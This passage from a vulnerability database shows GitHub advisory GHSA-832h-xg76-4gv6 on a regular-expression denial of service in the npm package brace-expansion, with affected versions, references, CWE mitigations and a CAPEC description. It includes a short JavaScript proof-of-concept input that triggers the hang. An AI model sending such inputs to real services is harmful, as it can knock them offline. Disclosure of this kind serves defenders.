"id": "GHSA-7w3m-2pw9-mg8x",
"modified": "2026-06-04T21:31:20Z",
"published": "2026-06-03T21:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8888"
},
{
"type": "WEB",
"url": "https://kb.cert.org/vuls/id/595768"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-832H-XG76-4GV6
Vulnerability from github – Published: 2018-01-29 15:50 – Updated: 2021-09-03 22:10
VLAI
Summary
ReDoS in brace-expansion
Details
Affected versions of brace-expansion are vulnerable to a regular expression denial of service condition.
Proof of Concept
var expand = require('brace-expansion');
expand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n}');
Recommendation
Update to version 1.1.7 or later.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-18077"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:24:01Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Affected versions of `brace-expansion` are vulnerable to a regular expression denial of service condition.\n\n## Proof of Concept\n\n```\nvar expand = require(\u0027brace-expansion\u0027);\nexpand(\u0027{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\\n}\u0027);\n```\n\n\n## Recommendation\n\nUpdate to version 1.1.7 or later.",
"id": "GHSA-832h-xg76-4gv6",
"modified": "2021-09-03T22:10:24Z",
"published": "2018-01-29T15:50:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18077"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/issues/33"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/35"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/35/commits/b13381281cead487cbdbfd6a69fb097ea5e456c3"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/862712"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-832h-xg76-4gv6"
},
{
"type": "PACKAGE",
"url": "https://github.com/juliangruber/brace-expansion"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/338"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ReDoS in brace-expansion"
}
Mitigation
Architecture and Design
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
Mitigation
System Configuration
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Implementation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Implementation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.